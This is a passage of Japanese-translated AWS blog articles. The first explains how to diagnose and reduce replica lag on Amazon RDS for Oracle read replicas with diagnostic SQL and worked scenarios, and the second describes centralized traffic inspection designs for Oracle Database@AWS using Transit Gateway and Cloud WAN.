では、データベースがクエリのためにアクセスできないため、リードレプリカ上でデータベースビューをクエリできません。ReplicaLag と TransportLag の CloudWatch メトリクスが遅延の監視情報を提供します。さらに、アラートログをダウンロードして確認することで、レプリケーション遅延や適用の問題を特定できます。 レプリカ遅延を引き起こす一般的な要因 レプリカ遅延の特定方法を理解したところで、本セクションでは一般的な原因を掘り下げます。Amazon RDS for Oracle のレプリカ遅延は、設定の問題、アプリケーションのワークロードパターン、外部要因という 3 つの主要なカテゴリから生じます。 設定の問題 インフラストラクチャとデータベースの設定は、レプリケーションのパフォーマンスに重要な役割を果たします。一般的な設定の問題としては、REDO ログやスタンバイログのサイズが不足または過小であること、メモリ設定が想定水準に達していないこと、プライマリやリードレプリカのデータベースワークロードを処理するにはコンピューティングやストレージのリソースが不十分であることが挙げられます。 アプリケーションのワークロードパターン アプリケーションがデータベースとやり取りする方法は、レプリケーションのパフォーマンスに大きく影響します。バッチジョブや高並行性ワークロードといった大量の処理は過剰な REDO を生成し、レプリカが追従する能力を圧倒することがあります。同様に、リードレプリカ上で実行される読み取り集約型のクエリは、コンピューティングとストレージのリソースを大量に消費し、適用プロセスを遅くする可能性があります。 データベース設計の選択も遅延の一因になります。過剰なコミットは REDO 生成を増やし、 特権ユーザー (SYS、SYSTEM、RDS_DATAGUARD、rdsdb) の操作を制限するトリガー は内部のレプリケーションプロセスを妨げる恐れがあります。 外部要因 ネットワークレイテンシーもレプリカ遅延の一因になり、特にリージョン間リードレプリカで顕著です。本シリーズの Part 1 では、ネットワークレイテンシーに関連する遅延への対処方法を詳しく説明しています。 レプリカ遅延のトラブルシューティング 前述の方法でレプリカ遅延の存在を特定できたら、次のステップは根本原因の判断です。根本原因はプライマリインスタンスまたはリードレプリカインスタンスのいずれかで生じます。 Amazon RDS for Oracle でレプリカ遅延のトラブルシューティングや根本原因の特定を行う際は、プライマリとリードレプリカの両方のインスタンスで CloudWatch Database Insights (DBI) と 拡張モニタリング (EM) を 1 秒粒度で有効にすることをお勧めします。これらのツールを使うと、システム負荷をほぼリアルタイムで能動的に検証でき、CloudWatch メトリクスの 1 分粒度よりも細かい情報が得られます。 通常、レプリカ遅延の根本原因は、遅延が増加し始めた時点で発生していたイベントに関係しています。その時間帯 (5～10 分以内) の DBI と EM のグラフを評価すると、システムで何が変化したかが明らかになることがよくあります。データベースの待機イベントとリソース競合を相関させることで、問題を特定し、緩和または解消するための適切な対策を講じられます。 注: 遅延が増加したときに固有の異常が見当たらない場合は、遅延のある期間とない期間で Active Session History (ASH) または Automatic Workload Repository (AWR) レポートを比較し、差分を特定します。リードレプリカ向けの AWR レポートの生成方法については、 Generate AWR reports for Amazon RDS for Oracle read replicas を参照してください。 レプリカ遅延のトラブルシューティングでは、データベースの待機イベントを特定すると根本原因を突き止めやすくなります。待機イベントは、期待されるデータベースアクティビティがないのに、データベースがどこで時間を費やしたりリソースを保持したりしているかを示します。次の待機イベントは、レプリカ遅延と関連することが多いものです。 Data Guard プロセスの待機イベント これらの待機イベントは、 V$DATAGUARD_PROCESS をクエリして監視できます。 Log Network Server (LNS) wait on SENDREQ または ARCH wait on SENDREQ。 Managed Recovery Process (MRP) wait on archivelog arrival または WAIT_FOR_LOG。 セッションレベルの待機イベント これらの待機イベントはデータベースセッションに影響し、 V$SESSION をクエリして監視できます。 log file sync。 db file sequential read / db file scattered read / db file parallel write。 CPU 関連の待機、または高い DB CPU 時間。 これらの待機イベントは、直接的または間接的にレプリカ遅延と関係しています。特定した根本原因に基づき、適切な対策を講じてこれらの待機イベントを排除 / 減少させ、レプリケーション遅延を減らしてください。 一般的な原因と解決策 REDO ログのサイズが不十分 archive_lag_target パラメータは、ログスイッチの発生頻度を制御します。このパラメータは、ログスイッチが強制されるまでの最大時間 (秒) を指定します。Amazon RDS for Oracle では最大値は 300 秒で、Oracle 本来の最大値である 7200 秒 (2 時間) とは大きく異なります。この Amazon RDS for Oracle 固有の制限により、1 時間あたり少なくとも 12 回のログスイッチが発生します。REDO ログがワークロードに対して小さすぎると、ログスイッチが頻繁に発生しすぎます。頻繁なログスイッチにより、チェックポイントの増加と I/O スパイクが生じ、プライマリとリードレプリカの両方を圧迫する可能性があります。 次のクエリを使って、1 時間あたりのアーカイブログ生成量を特定します。 alter session set nls_date_format = 'DD-MON-YYYY HH24:MI:SS'; select trunc(COMPLETION_TIME,'HH') TIME, round(sum(BLOCKS*BLOCK_SIZE)/1024/1024/1024) REDO_GENERATED_IN_GB, count(*) GENERATION_COUNT from v$archived_log group by trunc(COMPLETION_TIME,'HH') order by 1 ; このクエリは、1 時間あたりの REDO 生成量とログスイッチ頻度を時系列で示し、ピーク時間帯を特定して、現在の REDO ログサイズが適切かどうかを判断するのに役立ちます。 注: Amazon RDS for Oracle インスタンスでは ALTER SYSTEM/DATABASE コマンドが制限されているため、 Oracle DB インスタンスで一般的なログ関連タスクを実行する AWS ドキュメントに従い、RDSADMIN パッケージを使って必要な REDO ログ関連の作業を行ってください。 ワークロードに対するシステム構成の不足 リソースのスロットリングは、コンピューティングレベル (CPU、メモリ、ネットワーク帯域幅) やストレージレベル (IOPS/スループット) で発生する可能性があります。プライマリやリードレプリカに十分なリソースがないと、レプリケーションプロセスが他のデータベース操作と競合し、遅延を引き起こします。 注: スループットのスロットリングはネットワークレベルでも発生し得るため、ワークロード向けに選択したコンピューティングが、アプリケーションのワークロードを支えるベースライン帯域幅を備えているか確認してください。 ストレージレベルのリソーススロットリングが発生している場合、通常は読み取り / 書き込みのレイテンシーが 10 ミリ秒を超えます。スロットリングされている値に応じて IOPS/スループットを増やせば、問題を緩和 / 解消できます。 DBI で CPU 使用率が割り当て済みの最大 vCPU を超えていないか確認してください。また、前述の待機イベントがソースまたはターゲットのいずれかで DBI に現れていないかも確認します。プライマリとリードレプリカが同じコンピューティングおよびストレージ構成であることを確認してください。これにより、レプリカがソースからのピーク負荷を処理できるようになります。 注: 高い CPU 使用率は、直接的な負荷から生じることもあれば、リソースのスロットリングから間接的に生じることもあります (たとえば、 Amazon Elastic Block Store (EBS) の IOPS 上限によりサーバープロセスが待機し、CPU 使用率が上がる場合など)。したがって、関連する根本原因を修正すれば、CPU 消費を割り当て済み vCPU 以下に抑えられます。 シナリオ: レプリカ遅延を段階的にトラブルシューティングする 次のシナリオでは、増加するレプリカ遅延の原因を特定し、絞り込む方法を示します。 ステップ 1: CloudWatch でレプリカ遅延を確認し、遅延の開始時刻を特定する リードレプリカインスタンスの [ Monitoring ] タブに移動して、ReplicaLag メトリクスを表示します。「ReplicaLag」グラフで [Maximize] を選択し、正確な開始時刻を特定します。 この例では、スナップショットは 1 月 5 日の 18:00 UTC に取得されました。グラフを見ると、レプリカ遅延は 17:50 UTC 頃から増加し始めています。遅延は数分前に始まり、現在 9.15 秒に達しています。 ステップ 2: プライマリで DBI を確認する AWS マネジメントコンソールでプライマリデータベースインスタンスに移動します。 [Monitoring] → [Database Insights] を選択します。デフォルトのビューには直近 3 時間が表示されます。 右上隅の [Custom] を選択し、分析に適した時間範囲を選びます。 ステップ 3: 転送遅延と適用遅延を比較する 「レプリカ遅延を特定する方法」セクションで説明したとおり、AWS マネジメントコンソールでリードレプリカのモニタリングセクションにある ReplicaLag と ReplicaTransportLag の遅延メトリクスを確認します。 CloudWatch メトリクスで ReplicaTransportLag と ReplicaLag のメトリクスを比較し、ボトルネックがどこにあるかを判断します。 シナリオ 示す内容 TransportLag が高く、ApplyLag が同程度 問題は REDO の送信であり、適用ではない TransportLag が正常で、ApplyLag が高い レプリカでの適用プロセスのボトルネック 両方のメトリクスが高いが値が異なる 詳細な分析が必要 このシナリオでは、Transport Lag と Apply Lag がほぼ同じであり、ボトルネックが適用プロセスではなく REDO の生成 / 送信にあることを示しています。 ステップ 4: リードレプリカで MRP プロセスの状態を確認する リードレプリカで V$MANAGED_STANDBY をクエリして、Managed Recovery Process の状態を確認します。 SQL> SELECT PROCESS, STATUS, SEQUENCE#, BLOCK# FROM V$MANAGED_STANDBY WHERE PROCESS = 'MRP0'; PROCESS STATUS SEQUENCE# BLOCK# --------- ------------- ----------- ---------- MRP0 APPLYING_LOG 15844 259554 現在、MRP プロセスの状態を見ると、ログを適用中であることが示されています。次のステップとして、プライマリで生成されたログシーケンスを確認する必要があります。 SQL> select thread#,max(sequence#) from v$log_history group by thread#; THREAD# MAX(SEQUENCE#) --------- -------------- 1 15863 ここで、適用済みのログとプライマリで生成されたログを比較すると、19 のログシーケンスのギャップがあることがわかります。これは REDO の大量生成が原因である可能性があります。過去 1 時間に生成された REDO を確認して、生成状況を把握する必要があります。 SQL> ALTER SESSION SET NLS_DATE_FORMAT = 'DD-MON-YYYY HH24:MI:SS'; Session altered. SQL> SELECT TRUNC(COMPLETION_TIME, 'HH24') AS COMPLETION_TIME, SUM(BLOCKS * BLOCK_SIZE) / (1024 * 1024 * 1024) AS GENERATED_GB, COUNT(*) AS LOG_COUNT FROM V$ARCHIVED_LOG WHERE DEST_ID = 1 AND COMPLETION_TIME >= SYSDATE - 1/24 GROUP BY TRUNC(COMPLETION_TIME, 'HH24') ORDER BY 1; COMPLETION_TIME GENERATED_GB LOG_COUNT --------------------- -------------- ---------- 05-JAN-2026 17:00:00 2.54819012 21 05-JAN-2026 18:00:00 40.2287965 326 SQL> これは、過去 1 時間に 40 GB の REDO が生成されたことを示しています。分析に応じて COMPLETION_TIME フィルターを適宜変更してください。 注: アラートログが、ORA-16055: FAL request rejected や ORA-16401: archivelog rejected by RFS のように、レプリカ遅延が発生している理由に関する重要な手がかりを与えてくれることがあります。そのような場合は、関連する My Oracle Support ノートを確認して次のステップを判断してください。 ステップ 5: プライマリインスタンスのメトリクスを分析する 1 月 5 日 17:50～18:00 UTC のこのシナリオでは、DBI アラームが自動的に次を捕捉しました。 読み取りおよび書き込みレイテンシーが 10 ミリ秒を超過。 DB Load Analysis は、最も CPU (5 vCPU) を消費している UPDATE ステートメントを示しています。 Top Waits セクションは、レプリカ遅延が始まった時間帯にデータベースで発生した上位 2 つの待機イベントとして、log file switch (checkpoint incomplete) と log file switch completion を示しています。 Database Telemetry Metrics は、17:55 UTC 頃に I/O 操作が大きくスパイクしたことを示しています。 CloudWatch メトリクスは、読み取り + 書き込み IOPS が Amazon RDS プライマリデータベースに割り当てられた 3,000 IOPS を超えていることを裏付けています。 ステップ 6: Database Insights でリードレプリカを分析する 1 月 5 日 17:50～18:00 UTC のリードレプリカを DBI で確認します。 上位の SQL は unknown と表示されています。これは通常、リソースを消費しているプロセスが SQL_ID を持たない場合に発生します。このような状況では、リソースを消費している OS プロセスのプロセス ID (PID) を特定し、そのプロセスが何を実行しているかを調べられます。 ステップ 7: CPU を最も消費しているプロセスを特定する 消費しているプロセスを特定するには、次の手順に従います。 [Database Telemetry] → [OS Processes] に移動します。 CPU % で並べ替えます。 このシナリオでは、CPU を最も消費しているプロセスは ora_pr00_ORCL で、プロセス ID は 751957、CPU を 3.31% 消費しています。このプロセス名は、ターゲット上で REDO ログの変更を並列に適用する Parallel Recovery (PR) ワーカープロセスであることを示しています。 ステップ 8: 問題を修正または緩和するための推奨アクション ストレージ負荷に対応するため EBS IOPS を増やす。 ログスイッチ頻度を減らすため REDO ログサイズを増やす。 バースト処理に必要であれば REDO ログループを追加する。 変更を実施する前に、アプリケーションチームおよびビジネスチームと連携して負荷パターンを確認する。 シナリオ: リードレプリカでの適用側のボトルネック 次のシナリオでは、プライマリやネットワークではなく、リードレプリカの適用パスのボトルネックによって生じるレプリカ遅延を特定する方法を示します。この例では、プライマリで大量の UPDATE ワークロードが実行されており、それがリードレプリカでの適用 I/O 需要を押し上げています。 ステップ 1: ReplicaLag と ReplicaTransportLag を比較する リードレプリカインスタンスの [Monitoring] タブに移動し、同じ時間帯の ReplicaLag と ReplicaTransportLag を並べて表示します。 この例では、ReplicaLag は 2026-05-02 15:00 UTC に増加し始め、約 2 時間まで拡大する一方で、ReplicaTransportLag は終始 35 秒未満にとどまっています。前のシナリオの比較表によれば、このパターン (TransportLag が正常で ApplyLag が高い) は、リードレプリカでの適用プロセスのボトルネックを示しています。 ステップ 2: データベースレベルで遅延パターンを確認する リードレプリカで V$DATAGUARD_STATS をクエリして、CloudWatch のビューを裏付けます。 SQL> SELECT NAME, VALUE, DATUM_TIME FROM V$DATAGUARD_STATS 2 WHERE NAME IN ('transport lag', 'apply lag'); NAME VALUE DATUM_TIME --------------- ----------------- ------------------- transport lag +00 00:00:00 05/03/2026 03:23:47 apply lag +00 02:01:05 05/03/2026 03:23:47 転送遅延がゼロである一方で適用遅延は 2 時間を超えており、ボトルネックが適用側にあることを裏付けています。 プライマリの現在のログシーケンスと、リードレプリカで MRP が適用しているシーケンスを比較します。 -- On the primary SQL> SELECT thread#, MAX(sequence#) FROM v$log_history GROUP BY thread#; THREAD# MAX(SEQUENCE#) --------- -------------- 1 97565 -- On the Read Replica SQL> SELECT PROCESS, STATUS, SEQUENCE#, BLOCK# 2 FROM V$MANAGED_STANDBY WHERE PROCESS = 'MRP0'; PROCESS STATUS SEQUENCE# BLOCK# --------- ------------- ----------- ---------- MRP0 APPLYING_LOG 97540 90708 MRP はプライマリより 25 のログシーケンス遅れており、 V$DATAGUARD_STATS が報告する 2 時間の適用遅延と一致します。 ステップ 3: Database Insights でリードレプリカの待機イベントを分析する Database Insights でリードレプリカを開き、同じ時間帯の Waits で分割した Database load を確認します。 15:00 UTC 以降、平均アクティブセッションは約 6 に跳ね上がり、I/O 関連の待機が大半を占めています。control file sequential read、checkpoint completed、db file async I/O submit、parallel recovery read buffer free、Data Guard server operation complete などです。これらはすべて適用 / メディアリカバリのパス上にあり、リードレプリカが REDO の変更を十分な速さで永続化できていないことを示しています。 ステップ 4: リードレプリカのストレージメトリクスを確認する ReplicaLag が増加し始めたのと同じ時刻の、リードレプリカボリュームの BurstBalance と WriteIOPS を確認します。 BurstBalance は 14:59 UTC に 0% まで低下し、WriteIOPS は 15:00 UTC 以降、約 300 で頭打ちになっています。ReplicaLag も同じ分に上昇し始めます。gp2 ボリュームがバーストクレジットを使い果たし、ベースライン IOPS にスロットリングされたため、MRP と並列リカバリワーカーはすべての書き込みで待機せざるを得なくなっています。 ステップ 5: 根本原因 REDO はリードレプリカに正常に送信されていますが (ReplicaTransportLag は低い)、ボリュームがバーストクレジットを使い果たすと、レプリカのストレージが適用 I/O に追従できなくなります。このため、未適用の REDO によるバックログが増大します。 ステップ 6: 問題を修正または緩和するための推奨アクション リードレプリカのストレージを、持続的な適用ワークロードに合わせてサイジングしたプロビジョンド IOPS を備える gp3 または io1/io2 に切り替えるか、gp2 ボリュームのサイズを増やしてベースライン IOPS をレプリカの適用レート以上に引き上げます。 リードレプリカのストレージをプライマリとは独立してサイジングします。持続的な適用には、プライマリのワークロードと同等かそれ以上の書き込みスループットが必要になることがあります。 BurstBalance と ReplicaLag に CloudWatch アラームを設定し、クレジットが枯渇する前に通知を受け取れるようにします。 クリーンアップ 本記事に沿って AWS リソースをデプロイしたり設定を変更したりした場合は、それらの変更を必ず削除または元に戻してください。 まとめ Amazon RDS for Oracle リードレプリカのレプリケーション遅延は、アプリケーションのパフォーマンスと災害対策の準備態勢に影響を与える可能性があります。Database Insights と拡張モニタリングを有効にし、一般的な待機イベントを理解し、本記事で説明したトラブルシューティングの手法に従うことで、根本原因を素早く特定し、適切な対策を実施できます。これらの手法で解決しない複雑なシナリオについては、AWS Support または Oracle ベンダーサポートに連絡して追加の支援を受けてください。 著者について Jobin Joseph トロントを拠点とするシニアデータベーススペシャリストソリューションアーキテクトです。リレーショナルデータベースエンジンを専門とし、お客様のデータベースワークロードの AWS への移行とモダナイゼーションを支援しています。Oracle Certified Master であり、Oracle データベースに関して 25 年以上の経験を持っています。 Manoj Ponnurangam Amazon Web Services のシニアクラウドデータベースエンジニアです。Amazon RDS for Oracle、Amazon RDS for PostgreSQL、Amazon Aurora for PostgreSQL、AWS DMS の Subject Matter Expert です。リレーショナルデータベースに関して 15 年の経験を持ち、さまざまなデータベースおよび移行プロジェクトでお客様にガイダンスと技術支援を提供しています。 Deepak Mani AWS のシニアテクニカルアカウントマネージャーで、データベース技術に関してお客様と協働してきた業界経験が 17 年以上あり、そのうち 6 年以上を AWS でネットワーキング、ストレージ、データベースを担当してきました。Amazon RDS for Oracle と Amazon RDS インフラストラクチャの Subject Matter Expert として、エンタープライズのお客様と連携し、戦略的なガイダンスと予防的なサポートを通じて、運用の卓越性の推進、耐障害性の向上、クラウドジャーニーの加速を支援しています。 この記事はSolutions Architect の 矢木 覚 が翻訳しました。

本記事は 2026 年 6 月 25 日 に公開された「 Centralized traffic inspection for Oracle Database@AWS 」を翻訳したものです。 前回の記事「 Implement network connectivity patterns for Oracle Database@AWS 」では、3 つの接続パターンを紹介しました。アプリケーション VPC と Oracle Database@AWS ネットワーク間の直接ピアリング、 AWS Transit Gateway を使用した単一リージョン接続、 AWS Cloud WAN を使用したマルチリージョン接続の 3 つです。アプリケーション VPC、オンプレミスネットワーク、Oracle Database@AWS ネットワーク間のトラフィックや、インターネット向けの送信トラフィックのいずれも検査が必要です。本記事では、トラフィックを宛先に到達する前に専用の検査 VPC を経由させる 2 つの集中検査パターンを説明します。1 つは AWS Transit Gateway を使用するパターン、もう 1 つは AWS Cloud WAN のサービス挿入を使用するパターンです。 Oracle Database@AWS は、AWS データセンター内の専用 Oracle Exadata インフラストラクチャ上で Oracle Cloud Infrastructure (OCI) が管理する Oracle Exadata Database Service と Oracle Autonomous Database へのアクセスを提供するサービスです。金融、ヘルスケア、官公庁などの規制産業では、侵入検知・防止 (IDS/IPS)、データ損失防止 (DLP)、ドメインフィルタリングなどの目的でデータベースとの間を流れるネットワークトラフィックの検査が求められることがあります。 前提条件 前回の接続パターンの記事 で解説した ODB ネットワーク、ODB ピアリング、ピアリングされた CIDR、ODB トランジット VPC の概念を理解しておく必要があります。AWS Transit Gateway または AWS Cloud WAN に接続されたトランジット VPC にピアリングされた ODB ネットワークが必要です。また、 AWS Cloud WAN サービス挿入の概念 や、 Amazon Virtual Private Cloud (Amazon VPC) のルートテーブル、サブネット、 NAT ゲートウェイ 、インターネットゲートウェイといった概念にも精通している必要があります。 重要: 現時点では、ODB トランジット VPC にファイアウォールエンドポイントを直接デプロイできません。トランジット VPC 自身の CIDR 外のアドレス宛てのトラフィックは、サブネットルートテーブルの検索を完全にバイパスして Transit Gateway または AWS Cloud WAN アタッチメント経由で直接転送されます。一部のユースケースでは個別のアプリケーション VPC にファイアウォールエンドポイントをデプロイできますが、この分散型アプローチはルートテーブル設定のオーバーヘッドが増大し、すべての VPC で繰り返す必要があるため、大規模環境では集中検査が実用的な選択肢です。 パターン 1: AWS Transit Gateway による集中トラフィック検査 図 1 のように、このパターンでは ODB ネットワーク、ODB ネットワークとピアリングされた ODB トランジット VPC、アプリケーション VPC、集中検査 VPC (ファイアウォールエンドポイント、NAT ゲートウェイ、インターネットゲートウェイ)、オンプレミスネットワークを Transit Gateway にアタッチメントとして接続します。オンプレミス接続には AWS Direct Connect または AWS Site-to-Site VPN を使用します。Transit Gateway は 2 つのルートテーブルでトラフィックを制御します。検査前ルートテーブルはスポークアタッチメント (アプリケーション VPC、オンプレミス、ODB トランジット VPC) に関連付けられ、デフォルトルート (0.0.0.0/0) が検査 VPC アタッチメントを指します。検査後ルートテーブルは検査 VPC アタッチメントに関連付けられ、アプリケーション VPC CIDR、オンプレミス CIDR、ODB ネットワーク CIDR への個別ルートがそれぞれのアタッチメントを指します。 図 1: Transit Gateway と集中検査 VPC を使用した東西・南北トラフィック検査 東西トラフィックフローのパケットウォークスルー 以下は東西トラフィックフロー (図 1 の ‘a’ / オレンジ色) の手順です。 アプリケーション VPC 内の Amazon Elastic Compute Cloud (Amazon EC2) インスタンスが Oracle データベースのホスト名を解決し、ODB ネットワーク CIDR 内の IP アドレスで接続を開始します。 アプリケーション VPC のサブネットルートテーブルには ODB ネットワーク CIDR (またはデフォルトルート) が Transit Gateway を指すルートがあります。パケットはアプリケーション VPC アタッチメント経由で Transit Gateway に転送されます。 Transit Gateway は検査前ルートテーブル (アプリケーション VPC アタッチメントに関連付けられたもの) でルートテーブル検索を実行します。デフォルトルートが検査 VPC アタッチメントを指しているため、パケットは検査 VPC に転送されます。 検査 VPC の Transit Gateway アタッチメントサブネットにパケットが到着します。サブネットルートテーブルにより、パケットは検査のためファイアウォールエンドポイントにルーティングされます。 検査アプライアンスがセキュリティポリシーに従ってパケットを処理します。検査を通過した場合、サブネットルートテーブルにより検査後のトラフィックは Transit Gateway に戻されます。 Transit Gateway は検査後ルートテーブル (検査 VPC アタッチメントに関連付けられたもの) を参照します。ODB ネットワーク CIDR への個別ルートが ODB トランジット VPC アタッチメントを指しており、パケットはそこに転送されます。 ODB トランジット VPC のサブネットルートテーブルがパケットを ODB ピアリング接続にルーティングします。パケットは ODB ピアリングを経由して ODB ネットワークに入り、Oracle データベースに到達します。 ODB ネットワークからのレスポンストラフィックは対称的な逆パスをたどります。 南北トラフィックフロー (インターネット送信トラフィック) のパケットウォークスルー Oracle データベースワークロードがインターネットアクセスを必要とする場合、インターネットに出る前に集中検査 VPC 経由でトラフィックをルーティングできます。ODB@AWS からのインターネットエグレスは OCI 側または AWS 側のいずれかで可能です。本記事では AWS 側のエグレスパターンを扱います。このパターンでは、ODB ネットワーク上のピアリングされた CIDR プレフィックスリストに特定の宛先 CIDR を設定する必要があります。詳細は「 Oracle DB@AWS Internet Outbound Traffic blog 」を参照してください。 以下は南北トラフィックフロー (図 1 の ‘b’ / 緑色) の手順です。 ODB ネットワークからのインターネット宛てトラフィックが、OCI 側のピアリングされた CIDR プレフィックスリストで設定されたルートに一致し、次のホップとして ODB ピアリング接続にパケットを転送します。パケットは ODB トランジット VPC に入ります。 パケットは ODB トランジット VPC アタッチメント経由で Transit Gateway に転送されます。 Transit Gateway は検査前ルートテーブルでルートテーブル検索を実行します。デフォルトルートが検査 VPC アタッチメントを指しているため、パケットは検査 VPC に転送されます。 パケットは検査 VPC に到着し、検査のためファイアウォールエンドポイントにルーティングされます。 検査後、パケットは NAT ゲートウェイにルーティングされ、ソースアドレス変換が行われます。 NAT ゲートウェイがパケットをインターネットゲートウェイに転送し、インターネットに送出します。 インターネットからの戻りトラフィックは、インターネットゲートウェイ、NAT ゲートウェイ、ファイアウォール、Transit Gateway を経由し、ODB トランジット VPC を通じて ODB ネットワークに戻る逆パスをたどります。 パターン 2: AWS Cloud WAN による集中トラフィック検査 図 2 のように、アプリケーション VPC とオンプレミスネットワークは AWS Cloud WAN コアネットワークにアタッチされ、それぞれのセグメント (App VPC と Hybrid) にマッピングされます。検査 VPC アタッチメントは ネットワーク機能グループ (NFG) にマッピングされます。Transit Gateway は TGW ルートテーブルアタッチメントを介して ODB トランジット VPC と AWS Cloud WAN コアネットワーク間の接続を提供します。ODB ネットワーク CIDR への静的ルートが Transit Gateway 上の ODB トランジット VPC アタッチメントを指しており、この TGW ルートテーブルは Cloud WAN TGW ルートテーブルアタッチメントに関連付けられています。これにより ODB CIDR が BGP 経由で Cloud WAN のセグメントおよび NFG ルートテーブルに動的に伝播されます。 この構成により、Cloud WAN のサービス挿入アクションがトラフィックを検査 NFG 経由で制御します。東西フローには send-via アクション、南北フローには send-to アクションを使用します。以降のセクションで詳しく説明します。 東西トラフィックフロー (send-via アクション) 図 2: AWS Cloud WAN のサービス挿入を使用した東西トラフィック検査 send-via アクションは ODB Network セグメントと App VPC セグメント (およびオンプレミストラフィック用の hybrid セグメント) の間に、検査 NFG を経由するよう設定されます。 以下は東西トラフィックフロー (図 2 の ‘c’) の手順です。 アプリケーション VPC 内の Amazon EC2 インスタンスが Oracle データベースのホスト名を解決し、データベース接続を開始します。 アプリケーション VPC のサブネットルートテーブルには ODB ネットワーク CIDR が AWS Cloud WAN コアネットワークアタッチメントを指すルートがあります。パケットは AWS Cloud WAN コアネットワークに転送されます。 App VPC セグメント (またはオンプレミストラフィックの hybrid セグメント) と ODB Network セグメント間に send-via アクションが設定されています。AWS Cloud WAN のルーティングテーブルがパケットを NFG アタッチメント経由で検査 VPC に転送します。 パケットは検査 VPC に到着し、検査のためファイアウォールエンドポイントにルーティングされます。 検査後、パケットは検査 VPC を出て NFG アタッチメント経由で AWS Cloud WAN コアネットワークに再入します。 AWS Cloud WAN は検査後のトラフィックを Transit Gateway ルートテーブルアタッチメントにルーティングします。Transit Gateway から BGP で動的に伝播された ODB ネットワーク CIDR がそこに存在します。 Transit Gateway がパケットを ODB トランジット VPC に転送します。ODB トランジット VPC のサブネットルートテーブルがパケットを ODB ピアリング接続経由で ODB ネットワークにルーティングし、Oracle データベースに到達します。 戻りトラフィックは対称的な逆パスをたどります。send-via アクションは双方向で、ODB ネットワークからのトラフィックもアプリケーション VPC に到達する前に同じ検査 VPC を通過します。 オンプレミストラフィックも同じパターンに従います。hybrid セグメントで Direct Connect または AWS Site-to-Site VPN アタッチメントを通じて AWS Cloud WAN に入り、ODB ネットワークに到達する前に検査 VPC を通過します。 南北トラフィックフロー (インターネット送信トラフィックの send-to アクション) 図 3: AWS Cloud WAN のサービス挿入を使用した南北インターネット送信トラフィック検査 図 3 のように、ODB Network セグメントに検査 NFG を指す send-to アクションが設定されています。ODB@AWS からのインターネットエグレスは OCI 側または AWS 側のいずれかで可能です。本記事では AWS 側のエグレスパターンを扱います。ODB ネットワークからのインターネット宛てトラフィックは検査 VPC に誘導され、検査後に NAT ゲートウェイとインターネットゲートウェイを経由してインターネットに出ます。パターン 1 と同様に、ピアリングされた CIDR プレフィックスリストに特定の宛先 CIDR を設定する必要があります。 以下はこのフロー (図 3 の ‘d’) の手順です。 ODB ネットワークからのインターネット宛てトラフィックが、OCI 側のピアリングされた CIDR プレフィックスリストで設定されたルートに一致し、次のホップとして ODB ピアリング接続にパケットを転送します。パケットは ODB トランジット VPC に入ります。 ODB トランジット VPC がパケットを Transit Gateway に転送します。Transit Gateway は TGW ルートテーブルアタッチメント経由で AWS Cloud WAN コアネットワークにパケットを送信します。 ODB Network セグメントに send-to アクションが設定されているため、AWS Cloud WAN のルーティングテーブルがインターネット宛てパケットを NFG アタッチメント経由で検査 VPC に転送します。 パケットは検査 VPC に到着し、検査のためファイアウォールエンドポイントにルーティングされます。 検査を通過したパケットは NAT ゲートウェイに転送されます。NAT ゲートウェイがソース NAT を実行し、インターネットゲートウェイにパケットを転送してインターネットに送出します。 インターネットからの戻りトラフィックはインターネットゲートウェイに到着し、NAT ゲートウェイでアドレス変換を経てファイアウォールに戻り検査されます。検査後、パケットは NFG アタッチメント経由で AWS Cloud WAN コアネットワークに再入します。NFG ルートテーブルには TGW ルートテーブルアタッチメントを指す ODB ネットワーク CIDR の伝播ルートがあり、パケットは Transit Gateway、ODB トランジット VPC を経由して ODB ネットワークに戻ります。 これらのパターンはマルチリージョンデプロイメントにも拡張できます。リージョン VPC、Transit Gateway、検査インフラストラクチャを同じ AWS Cloud WAN コアネットワークにアタッチすることで、追加リージョンをオンボードできます。 考慮事項 Oracle Database@AWS のネットワーク検査を実装する際は、以下の考慮事項を念頭に置いてください。 ODB ピアリングされた CIDR – ピアリングされた CIDR リストは、ピアリング接続を通じて ODB ネットワークと通信可能なすべての CIDR を定義します。東西トラフィックの場合、アプリケーション VPC CIDR (プライマリおよびセカンダリ) とオンプレミスネットワーク CIDR を含めます。AWS 経由で出る南北インターネット宛てトラフィックの場合、データベースが到達する必要がある特定のインターネット宛先 CIDR を含めます。本記事の執筆時点では 0.0.0.0/0 エントリは許可されていないため、ピアリングされた CIDR の制限に準拠する個別の CIDR 範囲にインターネット宛先を分割する必要があります。検査は透過的でオリジナルのソース IP を保持するため、検査 VPC CIDR を含める必要はありません。ピアリングされた CIDR の設定と制限については「 Oracle DB@AWS Internet Outbound Traffic 」を参照してください。 フロー対称性のためのアプライアンスモード – 検査 VPC の Transit Gateway アタッチメント (パターン 1) または AWS Cloud WAN アタッチメント (パターン 2) で アプライアンスモード を有効にしてください。有効にしないと、往路と復路が異なるアベイラビリティゾーンを通過し、ステートフル検査が破綻する可能性があります。 AWS Network Firewall ネイティブ Transit Gateway アタッチメント – AWS Network Firewall は専用の検査 VPC なしで東西検査を行うネイティブ Transit Gateway アタッチメントをサポートしています。南北の送信トラフィックには NAT ゲートウェイを備えた別の VPC が引き続き必要です。 DNS トラフィックパス – ODB ネットワークへの DNS クエリはデータトラフィックと同じ検査パスを通ります。ファイアウォールルールで考慮するか、検査をバイパスするために ODB トランジット VPC に Amazon Route 53 Resolver アウトバウンドエンドポイントを配置してください。 マルチリージョンデプロイメント – クロスリージョンのレイテンシーとデータ転送コストを回避するため、各リージョンに検査 VPC をデプロイしてください。パターン 2 では、AWS Cloud WAN の機能 (シングルホップモード) でどのリージョンの検査 VPC を使用するかを制御できます。 まとめ 本記事では、Oracle Database@AWS に対する集中ネットワークトラフィック検査を実装する方法を紹介しました。単一リージョンデプロイメントでは AWS Transit Gateway と集中検査 VPC を、マルチリージョンアーキテクチャでは AWS Cloud WAN のサービス挿入を使用します。ODB トランジット VPC はインライン検査をサポートしないため、どちらのアプローチも専用の検査 VPC 経由でトラフィックをルーティングします。詳細は「 AWS Network Firewall のドキュメント 」、「 AWS Cloud WAN サービス挿入のドキュメント 」、「 Oracle Database@AWS ユーザーガイド 」を参照してください。 著者について Sameer Malik Sameer は、AWS のプリンシパルデータベースソリューションアーキテクトです。RDS と Aurora に注力し、23 年以上にわたりリレーショナルデータベースに携わってきました。多数のお客様のデータベースワークロード移行・モダナイゼーションを支援しています。 Anvesh Koganti Anvesh は、AWS のソリューションアーキテクトで、ネットワーキングを専門としています。高いスケーラビリティとレジリエンスを備えた AWS ネットワーキングアーキテクチャの構築を支援しています。 Shubham Singh Shubham は、AWS 